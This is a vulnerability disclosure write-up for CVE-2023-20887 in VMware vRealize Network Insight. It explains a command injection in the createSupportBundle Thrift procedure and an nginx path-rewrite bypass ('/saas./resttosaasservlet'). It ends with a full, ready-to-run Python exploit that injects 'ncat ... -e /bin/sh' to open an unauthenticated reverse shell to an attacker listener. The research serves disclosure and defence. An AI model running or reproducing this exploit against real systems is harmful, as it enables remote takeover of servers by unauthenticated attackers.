Pre-authenticated RCE in VMware vRealize Network Insight

CVE-2023-20887

Introduction

I have recently identified and reported multiple vulnerabilities within VMware vRealize Network Insight by working with the Zero Day Initiative. Several of these vulnerabilities have been assigned a CVE:

In this post we’ll go over the exploitation process of VMware Aria Operations for Networks (Formerly vRealize Network Insight) specifically CVE-2023-20887, This is a chain of two issues which results in Remote Code Execution (RCE), Despite independently discovering and reporting the Pre-Authentication Remote Code Execution (CVE-2023-20887) vulnerability to the Zero Day Initiative (ZDI), along with several other vulnerabilities, I was outpaced by an anonymous researcher who reported it first. This post will examine the exploitation process of CVE-2023-20887 in VMware Aria Operations for Networks (formerly known as vRealize Network Insight). This vulnerability comprises a chain of two issues leading to Remote Code Execution (RCE) that can be exploited by unauthenticated attackers.

Vulnerability Analysis

The nginx configuration at /etc/nginx/sites-available/vnera restricts access to the /saasresttosaasservlet endpoint when called from :443.

The rule Only allows requests made from localhost.

Successful request to this endpoint will be proxy to the port 9090, an Apache Thrift RPC Server running on this port.

server {
[..SNIP..]
    location /saasresttosaasservlet {
        allow 127.0.0.1;
        deny all;
        rewrite ^/saas(.*)$ /$1 break;
        proxy_pass http://127.0.0.1:9090;
        proxy_redirect off;
        proxy_buffering off;
        proxy_set_header        Host            $host;
        proxy_set_header        X-Real-IP       $remote_addr;
        proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    }
    location /saas {
        rewrite ^/saas(.*)$ /$1 break;
        proxy_pass http://127.0.0.1:9090;
        proxy_redirect off;
        proxy_buffering off;
        proxy_set_header        Host            $host;
        proxy_set_header        X-Real-IP       $remote_addr;
        proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    }

}

The architecture for this RPC server mapping is as follow:

ServiceProtocolURL
CollectorToSaasCommunicationTBinaryProtocol/collectortosaasservlet/*
FedPeerToSaasCommunicationTBinaryProtocol/fedpeertosaasservlet/*
SaasToCollectorCommunicationTBinaryProtocol/saastocollectorservlet/*
SaasToFedPeerCommunicationTBinaryProtocol/saastofedpeerservlet/*
SaasToCollectorDataLinkTBinaryProtocol/saastocollectordatalinkservlet/*
RestToSaasCommunicationTJSONProtocol/resttosaasservlet/*
GenericSaasServiceTJSONProtocol/genericsaasservlet/*

The RestToSaasCommunication responds when accessing the /resttosaasservlet on port 9090. This Thrift endpoint understands many procedures:

1	        private static <I extends AsyncIface> Map<String, AsyncProcessFunction<I, ? extends TBase, ?>> getProcessMap(Map<String, AsyncProcessFunction<I, ? extends TBase, ?>> processMap) {
2	            processMap.put("executeCommand", new executeCommand());
3	            processMap.put("executeInfraCommand", new executeInfraCommand());
4	            processMap.put("getDataSourceList", new getDataSourceList());
5	            processMap.put("getDataSourceListWithWebProxyConfigured", new getDataSourceListWithWebProxyConfigured());
6	            processMap.put("getDataSourceListByWebProxyId", new getDataSourceListByWebProxyId());
7	            processMap.put("getDataSourceMapByDpIds", new getDataSourceMapByDpIds());
8	            processMap.put("getAllDataSourcesMap", new getAllDataSourcesMap());
9	            processMap.put("getOnDemandQueryResponseFromCollector", new getOnDemandQueryResponseFromCollector());
10	            processMap.put("setDataSource", new setDataSource());
11	            processMap.put("removeDataSource", new removeDataSource());
12	            processMap.put("validateCredential", new validateCredential());
13	            processMap.put("unpairPeer", new unpairPeer());
14	            processMap.put("startDataSource", new startDataSource());
15	            processMap.put("startDataSources", new startDataSources());
16	            processMap.put("stopDataSource", new stopDataSource());
17	            processMap.put("updateDataSource", new updateDataSource());
18	            processMap.put("collectConfigNow", new collectConfigNow());
19	            processMap.put("updateNode", new updateNode());
20	            processMap.put("getNodesInfo", new getNodesInfo());
21	            processMap.put("getCustomersNodesInfo", new getCustomersNodesInfo());
22	            processMap.put("getProxyNodesInfo", new getProxyNodesInfo());
23	            processMap.put("getFedPeerNodesInfo", new getFedPeerNodesInfo());
24	            processMap.put("deleteNode", new deleteNode());
25	            processMap.put("forcedDeleteNode", new forcedDeleteNode());
26	            processMap.put("getDataSourceConfiguration", new getDataSourceConfiguration());
27	            processMap.put("getDataSourceId", new getDataSourceId());
28	            processMap.put("getDataSourceHostKeys", new getDataSourceHostKeys());
29	            processMap.put("sendData", new sendData());
30	            processMap.put("getTenantProxyDataSourceList", new getTenantProxyDataSourceList());
31	            processMap.put("getSharedProxyDataSourceList", new getSharedProxyDataSourceList());
32	            processMap.put("sendDataToGrid", new sendDataToGrid());
33	            processMap.put("enableSupportTunnel", new enableSupportTunnel());
34	            processMap.put("disableSupportTunnel", new disableSupportTunnel());
35	            processMap.put("checkSupportTunnel", new checkSupportTunnel());
36	            processMap.put("enableOnlineUpgrade", new enableOnlineUpgrade());
37	            processMap.put("disableOnlineUpgrade", new disableOnlineUpgrade());
38	            processMap.put("checkOnlineUpgrade", new checkOnlineUpgrade());
39	            processMap.put("createSupportBundle", new createSupportBundle()); // urmum
40	            processMap.put("sendUpgradeTargetManifest", new sendUpgradeTargetManifest());
41	            processMap.put("getSystemInfo", new getSystemInfo());
42	            processMap.put("createTenantSystem", new createTenantSystem());
43	            processMap.put("deleteTenantSystem", new deleteTenantSystem());
44	            processMap.put("createPlatformNode", new createPlatformNode());
45	            processMap.put("sendNotifications", new sendNotifications());
46	            processMap.put("setSystemPreference", new setSystemPreference());
47	            processMap.put("toggleFipsMode", new toggleFipsMode());
48	            return processMap;
49	        }

One of the available procedures is createSupportBundle , This procedure expects a structure which has been implemented below:

1	
2	    public static class createSupportBundle_args implements TBase<createSupportBundle_args, _Fields>, Serializable, Cloneable, Comparable<createSupportBundle_args> {
3	        private static final TStruct STRUCT_DESC = new TStruct("createSupportBundle_args");
4	        private static final TField CUSTOMER_ID_FIELD_DESC = new TField("customerId", (byte)11, (short)1);
5	        private static final TField NODE_ID_FIELD_DESC = new TField("nodeId", (byte)11, (short)2);
6	        private static final TField REQUEST_ID_FIELD_DESC = new TField("requestId", (byte)11, (short)3);
7	        private static final TField EVICTION_REQUEST_IDS_FIELD_DESC = new TField("evictionRequestIds", (byte)15, (short)4);
8	        private static final SchemeFactory STANDARD_SCHEME_FACTORY = new createSupportBundle_argsStandardSchemeFactory();
9	        private static final SchemeFactory TUPLE_SCHEME_FACTORY = new createSupportBundle_argsTupleSchemeFactory();
10	        @Nullable
11	        public String customerId;
12	        @Nullable
13	        public String nodeId;
14	        @Nullable
15	        public String requestId;
16	        @Nullable
17	        public List<String> evictionRequestIds;
18	        public static final Map<_Fields, FieldMetaData> metaDataMap;
19	
20	        public createSupportBundle_args() {
21	        }
22	
23	        public createSupportBundle_args(String customerId, String nodeId, String requestId, List<String> evictionRequestIds) {
24	            this();
25	            this.customerId = customerId;
26	            this.nodeId = nodeId;
27	            this.requestId = requestId;
28	            this.evictionRequestIds = evictionRequestIds;
29	        }
30	
31	        public createSupportBundle_args(createSupportBundle_args other) {
32	            if (other.isSetCustomerId()) {
33	                this.customerId = other.customerId;
34	            }
35	
36	            if (other.isSetNodeId()) {
37	                this.nodeId = other.nodeId;
38	            }
39	
40	            if (other.isSetRequestId()) {
41	                this.requestId = other.requestId;
42	            }
43	
44	            if (other.isSetEvictionRequestIds()) {
45	                List<String> __this__evictionRequestIds = new ArrayList(other.evictionRequestIds);
46	                this.evictionRequestIds = __this__evictionRequestIds;
47	            }
48	
49	        }
50	
51	        public createSupportBundle_args deepCopy() {
52	            return new createSupportBundle_args(this);
53	        }
54	
55	        public void clear() {
56	            this.customerId = null;
57	            this.nodeId = null;
58	            this.requestId = null;
59	            this.evictionRequestIds = null;
60	        }

Which translates to the below structure:

struct {
    customerId,
    nodeId,
    requestId,
    evictionRequestIDs
}

createSupportBundle as it’s name implies, will take care of support bundle creation:

1	public Result createSupportBundle(String customerId, String nodeId, String requestId, List<String> evictionRequestIds) {
2	            ServiceThriftListener.logger.info("Request support bundle for customerId {} requestId {} nodeId {}", new Object[]{customerId, requestId, nodeId});
3	            if (!evictionRequestIds.isEmpty()) {
4	                for(int i = 0; i < evictionRequestIds.size(); ++i) {
5	                    if (!SupportRequestStore.isValidateRequestId((String)evictionRequestIds.get(i))) {
6	                        ServiceThriftListener.logger.error("Provided invalid evictionRequestId {}.", evictionRequestIds.get(i));
7	                        return new Result(ERROR_CODE.FAILED.getValue(), "Provided invalid eviction requestId " + (String)evictionRequestIds.get(i));
8	                    }
9	                }
10	            }
11	
12	            ServiceThriftListener.supportBundleExecutor.submit(() -> {
13	                int cidInt = Integer.parseInt(customerId);
14	                String nodeType = this.isLocalNodeId(nodeId) ? "platform" : "proxy";
15	                SupportRequestStore.Policy policy = ServiceThriftListener.supportRequestStore.getPolicy(Type.SUPPORT_BUNDLE);
16	                Integer maxFiles = policy != null ? policy.getMaxRequests() : null;
17	                String vcfLogToken = this.getVCFLogToken();
18	
19	                try {
20	                    ScriptUtils.evictLocalSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);
21	                    ScriptUtils.evictPublishedSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);
22	                [..SNIP..]

At line 21, the nodeId will be passed to the ScriptUtils.class#evictPublishedSupportBundles

The method does some basic checks to make sure the arguments are not empty and at lines 16, 18 constructs an interesting command.

1	    public static synchronized void evictPublishedSupportBundles(String nodeType, String nodeId, List<String> evictionRequestIds, Integer maxFiles, String vcfLogToken) throws Exception {
2	        Preconditions.checkArgument(NullOrEmpty.isFalse(nodeId, true));
3	        Iterator var5 = CollectionUtils.emptyIfNull(evictionRequestIds).iterator();
4	
5	        while(var5.hasNext()) {
6	            String r = (String)var5.next();
7	            String filename = getSupportBundlePublishPath(getSupportBundleFilename(nodeType, nodeId, r, vcfLogToken));
8	            Preconditions.checkArgument(!filename.contains("*"));
9	            boolean deleted = ArkinFileUtils.delete(filename, FsType.DEFAULT);
10	            if (!deleted) {
11	                logger.error("Could not delete file {}", filename);
12	            }
13	        }
14	
15	        if (maxFiles != null) {
16	            String evictCommand = String.format("sudo ls -tp %s/sb.%s.%s*.tar.gz | grep -v '/$' | tail -n +%d | xargs -I {} rm -- {}", "/ui-support-bundles", nodeType, nodeId, maxFiles);
17	            if (CommonUtils.isPlatformCluster()) {
18	                evictCommand = String.format("%s %s %s", "sudo /home/ubuntu/build-target/saasservice/cleansb.sh", nodeId, nodeType);
19	            }
20	
21	            int evictRet = runCommand(evictCommand);
22	            if (evictRet != 0) {
23	                logger.error("Could not cleanup command {}, command returned {}", evictCommand, evictRet);
24	            }
25	        }
26	
27	    }

The evictPublishedSupportBundles is vulnerable to a command injection by placing the nodeId inside a command at line 16 and 18, this command gets executed at line 21.

By crafting a Thrift RPC request it’s possible to exploit the createSupportBundle procedure, but as said before, access to this thrift endpoint from outside is restricted so I needed to get around this.

The Bypass

Normally in order to access the service and have it proxy using nginx, a request like this should be made:

https://VRNI-IP/saasresttosaasservlet --> MATCH location /saasresttosaasservlet ALLOW 127.0.0.1

Which gets denied by the nginx rule, lets have a look at the nginx configuration one more time:

server {
[..SNIP..]
    location /saasresttosaasservlet {
        allow 127.0.0.1;
        deny all;
        rewrite ^/saas(.*)$ /$1 break;
        proxy_pass http://127.0.0.1:9090;
        proxy_redirect off;
        proxy_buffering off;
        proxy_set_header        Host            $host;
        proxy_set_header        X-Real-IP       $remote_addr;
        proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    }
    location /saas {
        rewrite ^/saas(.*)$ /$1 break;
        proxy_pass http://127.0.0.1:9090;
        proxy_redirect off;
        proxy_buffering off;
        proxy_set_header        Host            $host;
        proxy_set_header        X-Real-IP       $remote_addr;
        proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    }

}

If you haven’t noticed it yet, then look again, In order to bypass this rule, it’s possible to send a request like this:

https://VRNI-IP/saas./resttosaasservlet --> MATCH location /saas rewrite ^/saas(.*)$ /$1 PROXY_PASS

The nginx proxy will treat this as:

https://VRNI-IP/./resttosaasservlet

Proof of Concept

PoC

PoC.py

"""
VMWare Aria Operations for Networks (vRealize Network Insight) unauthenticated RCE
Version: 6.8.0.1666364233
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
"""
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
from threading import Thread
import argparse
from telnetlib import Telnet
import socket
requests.packages.urllib3.disable_warnings()

argparser = argparse.ArgumentParser()
argparser.add_argument("--url", help="VRNI URL", required=True)
argparser.add_argument("--attacker", help="Attacker listening IP:PORT (example: 192.168.1.10:1337)", required=True)

args = argparser.parse_args()

def handler():
    print("(*) Starting handler")
    t = Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((args.attacker.split(":")[0],int(args.attacker.split(":")[1])))
    s.listen(1)
    conn, addr= s.accept()
    print(f"(+) Received connection from {addr[0]}")
    t.sock = conn
    print("(+) pop thy shell! (it's ready)")
    t.interact()

def start_handler():
    t = Thread(target=handler)
    t.daemon = True
    t.start()

def exploit():
    url = args.url + "/saas./resttosaasservlet"
    revshell = f'ncat {args.attacker.split(":")[0]} {args.attacker.split(":")[1]} -e /bin/sh'
    payload = """[1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`"""+revshell+"""`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]"""
    result = requests.post(url, headers={"Content-Type":"application/x-thrift"}, verify=False, data=payload, proxies={"http":"http://localhost:8080","https":"http://localhost:8080"})

start_handler()
exploit()

try:
    while True:
        pass
except KeyboardInterrupt:
    print("(*) Exiting...")
    exit(0)

References